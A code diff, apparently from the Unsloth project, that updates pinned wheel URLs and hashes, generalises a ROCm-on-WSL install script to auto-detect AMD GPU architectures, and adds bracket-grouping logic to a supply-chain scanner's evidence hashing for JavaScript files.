"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)",
|
||||
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp39-cp39-win_amd64.whl ; python_version=='3.9' and (sys_platform == 'win32')",
|
||||
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-win_amd64.whl ; python_version=='3.10' and (sys_platform == 'win32')",
|
||||
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-win_amd64.whl ; python_version=='3.11' and (sys_platform == 'win32')",
|
||||
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-win_amd64.whl ; python_version=='3.12' and (sys_platform == 'win32')",
|
||||
]
|
||||
cu126onlytorch270 = [
|
||||
"xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.30-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)",
|
||||
|
|
@ -281,7 +279,6 @@ cu128onlytorch270 = [
|
|||
]
|
||||
cu118onlytorch271 = [
|
||||
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)",
|
||||
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.31.post1-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')",
|
||||
]
|
||||
cu126onlytorch271 = [
|
||||
"xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)",
|
||||
|
|
@ -583,7 +580,7 @@ colab-ampere-torch220 = [
|
|||
"flash-attn>=2.6.3 ; ('linux' in sys_platform)",
|
||||
]
|
||||
colab-new = [
|
||||
"unsloth_zoo>=2026.6.6",
|
||||
"unsloth_zoo>=2026.7.2",
|
||||
"packaging",
|
||||
"tyro",
|
||||
"transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0",
|
||||
|
|
@ -878,14 +875,12 @@ flashattentiontorch240abiFALSEcu12x = [
|
|||
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'",
|
||||
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'",
|
||||
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'",
|
||||
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'",
|
||||
]
|
||||
flashattentiontorch240abiTRUEcu12x = [
|
||||
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp39-cp39-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.9'",
|
||||
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'",
|
||||
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'",
|
||||
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'",
|
||||
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'",
|
||||
]
|
||||
intelgputorch260 = [
|
||||
"unsloth_zoo[intelgpu]",
|
||||
|
|
@ -1173,14 +1168,14 @@ intelgputorch2120 = [
|
|||
"unsloth_zoo[intelgpu]",
|
||||
"unsloth[huggingfacenotorch]",
|
||||
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=844d981cb1b3948085e8cfa62c74de9f100259f6131959aa70be49123b88ae81 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'",
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=a16b1d00e94ad87d62af3512e390348b8656419598004100c56028bf494f086b ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'",
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=4e46e71e077cf483404a4c17ce40d71c5f0e13a81459139d4346ca427b1dd455 ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'",
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=4fdaed1bafc51d3a2834656a3420a6686a74ea226508765a49bf15d58ff3a930 ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'",
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-win_amd64.whl#sha256=2778b46b22e9fa0916398db299a125027a1b2331c1173b3dd2b9e2cab6263a31 ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-win_amd64.whl#sha256=ad5b147d04ee0d40f3d4d32f85f5aa3a3beb6cd5799ca026d3d7f4afa3d9e24f ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-win_amd64.whl#sha256=d9482063af2a308543f23333e32edd738ea87cbb33ade68afda9ae0fd704ccd9 ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-win_amd64.whl#sha256=5d4d67f0deb1e851c01b293e602b8dcddad26ca2be61221cee3dc0e1aa0cdefd ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=81ff0eb0c4fc8e19d2510b28c3e1d9382a3c7d6fdaf6a9f9631a93a030d841cf ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'",
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=55574a68d275b85cd4d5cbf185084bae019ebf09c3f43b0bd2831b14935ec8e7 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'",
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=a31c058c5c2e78ebe490a2e69f2f50caec6b1307ac096e944f116fdc06819d9a ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'",
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=e701a31efa0334775f357c98716f3821775aa944219f7888e13c2dfe2daabe2a ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'",
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-win_amd64.whl#sha256=0d7730651c3e52fbf3a430cc201455f0c6600dc72e681aec495f131ea44f341a ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-win_amd64.whl#sha256=8f4a63de73e3d632098f93c8f0bd77244958a47d7c5f728b8ff35f8a91fdb983 ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-win_amd64.whl#sha256=6589ece3adc2b1ab88d90ff1267afc25df5c7b868f0b633e732cac70df36cbde ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
|
||||
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-win_amd64.whl#sha256=2fdf001a9b0575e8b1827127259bb9b13bf36e659882be74c2dfab46597d3e7a ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
|
||||
|
||||
"torch @ https://download.pytorch.org/whl/xpu/torch-2.12.0%2Bxpu-cp310-cp310-linux_x86_64.whl#sha256=e8923cd1fe560472904b1461b745d2f1826bb9c1bc0808225d5f28a450e4d553 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'",
|
||||
"torch @ https://download.pytorch.org/whl/xpu/torch-2.12.0%2Bxpu-cp311-cp311-linux_x86_64.whl#sha256=f7c082b2fc9b61def594d30ea57762dc4a8bc7111a9a9593953ed948de242e28 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'",
|
||||
|
|
|
|||
|
|
@ -3,13 +3,14 @@
|
|||
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
|
||||
#
|
||||
# ──────────────────────────────────────────────────────────────────────────────
|
||||
# Enable ROCm-on-WSL for AMD Strix Halo (Radeon 8060S / gfx1151)
|
||||
# Enable ROCm-on-WSL for AMD GPUs (Strix Halo/Point APUs AND discrete Radeon RX
|
||||
# 7000/9000). Verified on gfx1151 (Radeon 8060S) and gfx1200 (Radeon RX 9060 XT).
|
||||
# ──────────────────────────────────────────────────────────────────────────────
|
||||
# install.sh already routes gfx1151 to the right ROCm wheels once a ROCm runtime
|
||||
# is present; what it does NOT do is install AMD's ROCm userspace + the WSL DXG
|
||||
# bridge. This helper automates that Linux-side prerequisite on Ubuntu 24.04
|
||||
# WSL2 and is invoked by install.sh when it sees a Strix Halo APU in WSL (via
|
||||
# /dev/dxg) but no ROCm runtime yet. Fully idempotent (re-run just re-verifies).
|
||||
# install.sh routes the detected arch to the right ROCm wheels once a runtime exists;
|
||||
# what it does NOT do is install AMD's ROCm userspace + the WSL DXG bridge (librocdxg).
|
||||
# This helper does that Linux-side prerequisite on Ubuntu 24.04 WSL2, invoked by
|
||||
# install.sh when it sees an AMD GPU via /dev/dxg but no ROCm yet. Arch-agnostic: the
|
||||
# arch is auto-detected from rocminfo (override UNSLOTH_WSL_GFX=gfx1200). Idempotent.
|
||||
#
|
||||
# Manual, admin-gated Windows prerequisite: an AMD Adrenalin driver with
|
||||
# production ROCDXG/WSL support (26.2.2+). install.ps1 offers to update it. Once
|
||||
|
|
@ -34,10 +35,12 @@ set -euo pipefail
|
|||
|
||||
# ── Tunables (override via env) ──────────────────────────────────────────────
|
||||
ROCM_VER="${UNSLOTH_WSL_ROCM_VER:-7.2.1}" # ROCm release to install
|
||||
GFX="gfx1151"
|
||||
# GPU arch: empty = auto-detect from rocminfo after install (override UNSLOTH_WSL_GFX=gfx1200).
|
||||
# The ROCm + librocdxg setup is arch-agnostic; only verify + the smoke test need the arch.
|
||||
GFX="${UNSLOTH_WSL_GFX:-}"
|
||||
LIBROCDXG_REF="${UNSLOTH_LIBROCDXG_REF:-develop}" # ROCm/librocdxg git ref to build
|
||||
# AMD's gfx1151 wheel index (same one install.sh uses); only for the smoke test.
|
||||
TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${GFX}/"
|
||||
# AMD's wheel index for the (optional) smoke test; resolved after arch detection.
|
||||
TORCH_INDEX=""
|
||||
# Optional torch smoke test (throwaway venv). OFF by default: install.sh installs
|
||||
# torch itself into the real venv right after, so a duplicate download is wasteful.
|
||||
SMOKE_TEST="${UNSLOTH_WSL_SMOKE_TEST:-0}"
|
||||
|
|
@ -220,12 +223,12 @@ $SUDO ldconfig
|
|||
say "Persisting ROCm-on-WSL environment"
|
||||
_envfile="/etc/profile.d/unsloth-rocm-wsl.sh"
|
||||
$SUDO tee "$_envfile" >/dev/null <<EOF
|
||||
# >>> Unsloth ROCm-on-WSL (gfx1151) >>>
|
||||
# >>> Unsloth ROCm-on-WSL >>>
|
||||
export HSA_ENABLE_DXG_DETECTION=1
|
||||
export TORCH_ROCM_AOTRITON_ENABLE_EXPERIMENTAL=1
|
||||
export PATH="${ROCM_DIR}/bin:\${PATH}"
|
||||
export LD_LIBRARY_PATH="${ROCM_DIR}/lib:\${LD_LIBRARY_PATH:-}"
|
||||
# <<< Unsloth ROCm-on-WSL (gfx1151) <<<
|
||||
# <<< Unsloth ROCm-on-WSL <<<
|
||||
EOF
|
||||
# also drop into ~/.bashrc for interactive shells
|
||||
if [ -n "${HOME:-}" ] && ! grep -q "Unsloth ROCm-on-WSL" "${HOME}/.bashrc" 2>/dev/null; then
|
||||
|
|
@ -237,32 +240,50 @@ export PATH="${ROCM_DIR}/bin:${PATH}"
|
|||
export LD_LIBRARY_PATH="${ROCM_DIR}/lib:${LD_LIBRARY_PATH:-}"
|
||||
|
||||
# ── Step 5: verify the runtime enumerates the GPU ────────────────────────────
|
||||
say "Verifying rocminfo sees ${GFX}"
|
||||
say "Verifying rocminfo enumerates the GPU over DXG"
|
||||
# Capture rocminfo into a var BEFORE grepping: piping into `grep -q` SIGPIPEs
|
||||
# rocminfo on first match, which under `set -o pipefail` turns a successful match
|
||||
# into a pipeline failure. Match the gfx1151 ISA "Name:" agent exactly (not a
|
||||
# broad gfx1[0-9]) so a generic fallback ISA or unrelated RDNA GPU can't pass.
|
||||
# into a pipeline failure.
|
||||
_rocminfo_out="$(rocminfo 2>/dev/null || true)"
|
||||
if ! printf '%s\n' "$_rocminfo_out" | grep -qE "Name:[[:space:]]*${GFX}([^0-9]|$)"; then
|
||||
# GPU agents advertise an ISA "Name: gfxNNNN". Match gfx[1-9] (excludes gfx000, the CPU
|
||||
# agent), drop the "gfx*-generic" fallback ISA, and take the first real GPU arch.
|
||||
_detected_gfx="$(printf '%s\n' "$_rocminfo_out" | grep -E 'Name:[[:space:]]*gfx[1-9]' | grep -v 'generic' | grep -oE 'gfx[1-9][0-9a-z]*' | head -1 || true)"
|
||||
if [ -z "$_detected_gfx" ]; then
|
||||
printf '%s\n' "$_rocminfo_out" | head -25 >&2 || true
|
||||
die "rocminfo did not enumerate a ${GFX} GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run."
|
||||
die "rocminfo did not enumerate any GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run."
|
||||
fi
|
||||
# Honour a caller-pinned arch (sanity-check via a consuming grep, not grep -q: under
|
||||
# pipefail -q would SIGPIPE printf on large output and misreport the arch); else adopt.
|
||||
if [ -n "$GFX" ] && ! printf '%s\n' "$_rocminfo_out" | grep -E "Name:[[:space:]]*${GFX}([^0-9]|$)" >/dev/null; then
|
||||
die "rocminfo enumerated '${_detected_gfx}' but not the requested UNSLOTH_WSL_GFX='${GFX}'."
|
||||
fi
|
||||
GFX="${GFX:-$_detected_gfx}"
|
||||
# Display-only summary: best-effort (|| true) so head's early pipe-close under
|
||||
# `set -o pipefail` can't fail the bootstrap after verification already passed.
|
||||
printf '%s\n' "$_rocminfo_out" | grep -E 'Marketing Name|Device Type|Compute Unit' | grep -iE "Radeon|GPU|Compute" | head -3 || true
|
||||
note "ROCm-on-WSL runtime is live for ${GFX}."
|
||||
|
||||
# ── Step 6 (optional): torch smoke test from the gfx1151 index ───────────────
|
||||
# ── Step 6 (optional): torch smoke test from AMD's per-arch wheel index ───────
|
||||
if [ "$SMOKE_TEST" = "1" ]; then
|
||||
say "Smoke-testing PyTorch on ${GFX} (throwaway venv)"
|
||||
# Map the detected arch to AMD's repo.amd.com wheel family index.
|
||||
case "$GFX" in
|
||||
gfx1200|gfx1201) _fam="gfx120X-all" ;;
|
||||
gfx1100|gfx1101|gfx1102|gfx1103) _fam="gfx110X-all" ;;
|
||||
*) _fam="$GFX" ;; # gfx1150/gfx1151/gfx90a: own index
|
||||
esac
|
||||
TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${_fam}/"
|
||||
_venv="${HOME}/.unsloth/rocm-smoketest"
|
||||
rm -rf "$_venv"; python3 -m venv "$_venv"
|
||||
"$_venv/bin/pip" install --quiet --upgrade pip
|
||||
# gfx1151 index is primary (torch + triton); PyPI only an extra for pure-py
|
||||
# AMD arch index is primary (torch + triton); PyPI only an extra for pure-py
|
||||
# deps. The constraint keeps pip on the ROCm wheel, not a newer PyPI CUDA torch.
|
||||
"$_venv/bin/pip" install --index-url "$TORCH_INDEX" \
|
||||
--extra-index-url https://pypi.org/simple "$TORCH_CONSTRAINT" || \
|
||||
die "torch install from ${TORCH_INDEX} failed."
|
||||
# WSL: torch's bundled ROCr must load the DXG bridge -- drop librocdxg into torch/lib.
|
||||
_tlib="$("$_venv/bin/python" -c 'import torch,os;print(os.path.join(os.path.dirname(torch.__file__),"lib"))' 2>/dev/null || true)"
|
||||
[ -d "$_tlib" ] && cp -f "${ROCM_DIR}"/lib/librocdxg.so* "$_tlib"/ 2>/dev/null || true
|
||||
"$_venv/bin/python" - <<'PY'
|
||||
import torch
|
||||
ok = torch.cuda.is_available()
|
||||
|
|
|
|||
|
|
@ -40,8 +40,10 @@ from __future__ import annotations
|
|||
import argparse
|
||||
import atexit
|
||||
import base64 as _b64 # imported only so the IOC string-scan can detect it
|
||||
import bisect
|
||||
import hashlib
|
||||
import io
|
||||
import itertools
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
|
|
@ -897,20 +899,364 @@ def safe_extract(
|
|||
# ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
# How far back to look for an enclosing bracket opener. Symmetric with the
|
||||
# forward cap so a host that sits deep inside a large options object (its opening
|
||||
# `{` many properties above) still binds the whole object, not just its own line;
|
||||
# a too-far start only over-binds (more context, still fail-closed), never less.
|
||||
_MAX_CONT_LINES = 200
|
||||
# Hard cap on how far forward a bracket group is followed to its close, measured
|
||||
# from the matched line so the tail after the match is always reachable even when
|
||||
# the opener was found near the backward limit (digest input only, never
|
||||
# displayed); a realistic config object closes well within it.
|
||||
_MAX_GROUP_LINES = 200
|
||||
|
||||
# JS string literal (single / double / template), blanked before counting
|
||||
# brackets so a bracket inside a string is not mistaken for code.
|
||||
_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`")
|
||||
|
||||
|
||||
_RE_BRACKETS = re.compile(r"[()\[\]{}]")
|
||||
_OPENERS = frozenset("([{")
|
||||
|
||||
|
||||
def _bracket_lr(line: str) -> tuple[int, int]:
|
||||
"""Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``
|
||||
where ``L`` is the count of closers with no opener earlier on the line (they
|
||||
need an opener to the LEFT / on a prior line) and ``R`` is the count of openers
|
||||
with no closer later on the line (they need a closer to the RIGHT / on a later
|
||||
line). A plain net count (opens minus closes) collapses order and so masks a
|
||||
trailing opener that follows leading closers on the same line, e.g.
|
||||
``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config
|
||||
object; tracking the running minimum keeps that opener visible so the group
|
||||
binds the path/headers that follow. Only bracket characters are walked (pulled
|
||||
out with one C-level regex pass) so a long minified line stays cheap."""
|
||||
depth = 0
|
||||
low = 0
|
||||
for ch in _RE_BRACKETS.findall(line):
|
||||
if ch in _OPENERS:
|
||||
depth += 1
|
||||
else:
|
||||
depth -= 1
|
||||
if depth < low:
|
||||
low = depth
|
||||
return -low, depth - low
|
||||
|
||||
|
||||
def _find_unescaped(line: str, quote: str, start: int) -> int:
|
||||
"""Index of the next ``quote`` at or after ``start`` not escaped by a backslash,
|
||||
or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored."""
|
||||
i, n = start, len(line)
|
||||
while i < n:
|
||||
if line[i] == "\\":
|
||||
i += 2
|
||||
continue
|
||||
if line[i] == quote:
|
||||
return i
|
||||
i += 1
|
||||
return -1
|
||||
|
||||
|
||||
# A `/` is a regex literal (not division) when the previous significant character
|
||||
# is none (start) or one of these expression-position chars. Used only by the
|
||||
# multi-line blanked view, and the span is unioned with the single-line view, so
|
||||
# an over- or under-detection only ever grows the bound span (never shrinks it).
|
||||
_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>")
|
||||
|
||||
|
||||
def _blank_js_strings(lines: list[str]) -> list[str]:
|
||||
"""Replace string contents (single, double, multi-line backtick template
|
||||
literals) AND regex literal bodies with spaces across ``lines``, keeping the
|
||||
line count and every bracket OUTSIDE a string/regex intact, so bracket counting
|
||||
never miscounts a ``)`` that lives inside a string -- including a template
|
||||
literal spanning several lines or a ``/)/`` regex -- which a per-line regex
|
||||
cannot blank. Escapes are honoured."""
|
||||
out: list[str] = []
|
||||
in_back = False # inside a multi-line `template` literal
|
||||
prev_sig = "" # last significant non-space char (for regex-vs-division)
|
||||
for line in lines:
|
||||
buf: list[str] = []
|
||||
i, n = 0, len(line)
|
||||
while i < n:
|
||||
if in_back:
|
||||
end = _find_unescaped(line, "`", i)
|
||||
if end == -1:
|
||||
buf.append(" " * (n - i))
|
||||
i = n
|
||||
else:
|
||||
buf.append(" " * (end - i + 1))
|
||||
i = end + 1
|
||||
in_back = False
|
||||
prev_sig = "`"
|
||||
continue
|
||||
ch = line[i]
|
||||
if ch in " \t":
|
||||
buf.append(ch)
|
||||
i += 1
|
||||
continue
|
||||
if ch in "'\"`":
|
||||
end = _find_unescaped(line, ch, i + 1)
|
||||
if end == -1:
|
||||
buf.append(" " * (n - i))
|
||||
i = n
|
||||
if ch == "`": # opens a template literal that runs past this line
|
||||
in_back = True
|
||||
else:
|
||||
buf.append(" " * (end - i + 1))
|
||||
i = end + 1
|
||||
prev_sig = "v" # a string is a value: a following `/` is division
|
||||
continue
|
||||
if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS):
|
||||
# Regex literal: blank to the closing unescaped `/` outside a `[...]`
|
||||
# char class. A regex never spans lines, so no close on the line
|
||||
# means this `/` is really division.
|
||||
j, in_class, closed = i + 1, False, False
|
||||
while j < n:
|
||||
c = line[j]
|
||||
if c == "\\":
|
||||
j += 2
|
||||
continue
|
||||
if c == "[":
|
||||
in_class = True
|
||||
elif c == "]":
|
||||
in_class = False
|
||||
elif c == "/" and not in_class:
|
||||
j += 1
|
||||
closed = True
|
||||
break
|
||||
j += 1
|
||||
if closed:
|
||||
buf.append(" " * (j - i))
|
||||
i = j
|
||||
prev_sig = "v" # a regex is a value
|
||||
continue
|
||||
buf.append(ch)
|
||||
i += 1
|
||||
prev_sig = "/"
|
||||
continue
|
||||
buf.append(ch)
|
||||
i += 1
|
||||
prev_sig = ch
|
||||
out.append("".join(buf))
|
||||
return out
|
||||
|
||||
|
||||
def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]:
|
||||
"""Precompute once per evidence call: raw lines for display, two string-blanked
|
||||
views for bracket counting (single-line via regex = legacy, and multi-line
|
||||
aware so a template literal spanning lines is blanked), and newline offsets for
|
||||
O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole
|
||||
file on every single match (which was O(matches x file size))."""
|
||||
lines = text.split("\n")
|
||||
sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines]
|
||||
ml_blanked = _blank_js_strings(lines)
|
||||
nl = [p for p, ch in enumerate(text) if ch == "\n"]
|
||||
return lines, sl_blanked, ml_blanked, nl
|
||||
|
||||
|
||||
# Cap on formatted matches in one evidence string; beyond it the remaining match
|
||||
# texts are folded into a single digest so a huge/minified file cannot build a
|
||||
# multi-megabyte evidence blob while an added/removed match past the cap still
|
||||
# changes the key.
|
||||
_MAX_EVIDENCE_MATCHES = 64
|
||||
|
||||
|
||||
def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:
|
||||
"""(start, end) line indices of the bracket group enclosing line ``idx`` in one
|
||||
blanked view: scan back to the still-open opener, then forward to its close."""
|
||||
# Backward: find the line that opens a bracket still unclosed at the match,
|
||||
# so a match inside a multi-line object starts from the object opener. Each line
|
||||
# is reduced to (L, R) and applied in order: first the L closers consume open
|
||||
# brackets from the running context (a stray closer whose opener is outside the
|
||||
# window only clamps depth at 0, it never goes negative), then the R openers
|
||||
# add to it. Tracking order this way (rather than a single net per line) keeps a
|
||||
# trailing opener visible even when leading closers on the same line net it to
|
||||
# <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a
|
||||
# changed path/headers after such a line ride the unchanged-hostname key.
|
||||
start = idx
|
||||
depth = 0
|
||||
for j in range(max(0, idx - _MAX_CONT_LINES), idx):
|
||||
left, right = _bracket_lr(blanked[j])
|
||||
if left >= depth:
|
||||
depth = 0 # everything opened so far in the window has closed
|
||||
start = idx
|
||||
else:
|
||||
depth -= left
|
||||
if right > 0:
|
||||
if depth == 0:
|
||||
start = j # outermost still-open opener begins here
|
||||
depth += right
|
||||
|
||||
# Forward: extend until the group opened at `start` closes past the match. The
|
||||
# same order-aware reduction is used (clamping leading closers at 0) so the
|
||||
# foreign `})` on the opener line does not drive the count negative and stop the
|
||||
# scan before the real close. The cap is measured from the match (`idx`), not
|
||||
# from `start`, so an opener found near the backward limit does not eat the
|
||||
# whole forward budget and drop the path/headers/body that follow the match.
|
||||
depth = 0
|
||||
end = start
|
||||
for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)):
|
||||
left, right = _bracket_lr(blanked[j])
|
||||
depth = max(0, depth - left) + right
|
||||
end = j
|
||||
if j >= idx and depth <= 0:
|
||||
break
|
||||
return start, end
|
||||
|
||||
|
||||
def _canon_preserve_strings(text: str) -> str:
|
||||
"""Whitespace canon that collapses runs OUTSIDE string literals to a single
|
||||
space (so a reindent or spacing change between tokens stays stable) while
|
||||
preserving whitespace INSIDE single/double/backtick string literals (so a
|
||||
changed payload body, e.g. ``'a b'`` -> ``'a b'``, reopens). A plain
|
||||
``" ".join(text.split())`` erases both, suppressing an intra-literal payload
|
||||
edit along with harmless indentation. Leading/trailing outside whitespace is
|
||||
dropped; escapes inside strings are honoured. Used for the evidence hash and
|
||||
the logical-line digests so the two stay consistent."""
|
||||
out: list[str] = []
|
||||
i, n = 0, len(text)
|
||||
quote: str | None = None
|
||||
pending_space = False
|
||||
while i < n:
|
||||
ch = text[i]
|
||||
if quote is not None:
|
||||
out.append(ch)
|
||||
if ch == "\\" and i + 1 < n:
|
||||
out.append(text[i + 1])
|
||||
i += 2
|
||||
continue
|
||||
if ch == quote:
|
||||
quote = None
|
||||
i += 1
|
||||
continue
|
||||
if ch.isspace():
|
||||
pending_space = True
|
||||
i += 1
|
||||
continue
|
||||
if pending_space and out:
|
||||
out.append(" ")
|
||||
pending_space = False
|
||||
out.append(ch)
|
||||
if ch in "'\"`":
|
||||
quote = ch
|
||||
i += 1
|
||||
return "".join(out)
|
||||
|
||||
|
||||
def _logical_line_text(
|
||||
lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int
|
||||
) -> str:
|
||||
"""The matched line plus the bracket group it belongs to (the enclosing
|
||||
multi-line object/call, so a changed ``path``/``headers``/body on another line
|
||||
binds). Returns the UNION of the groups found in the single-line-blanked view
|
||||
(legacy: a payload embedded inside a template still counts so its brackets bind
|
||||
the call) and the multi-line-blanked view (a bracket inside a template literal
|
||||
spanning lines no longer closes the group early). Unioning never shrinks the
|
||||
span below either view, so neither blanking strategy can drop a line a
|
||||
malicious change relies on."""
|
||||
s1, e1 = _scan_group(sl_blanked, idx)
|
||||
s2, e2 = _scan_group(ml_blanked, idx)
|
||||
start, end = min(s1, s2), max(e1, e2)
|
||||
return " ".join(lines[start : end + 1])
|
||||
|
||||
|
||||
def _format_match(
|
||||
text: str,
|
||||
lines: list[str],
|
||||
sl_blanked: list[str],
|
||||
ml_blanked: list[str],
|
||||
nl: list[int],
|
||||
m: re.Match,
|
||||
max_chars: int,
|
||||
) -> str:
|
||||
# The shown snippet is a small window around the match; append a digest of the
|
||||
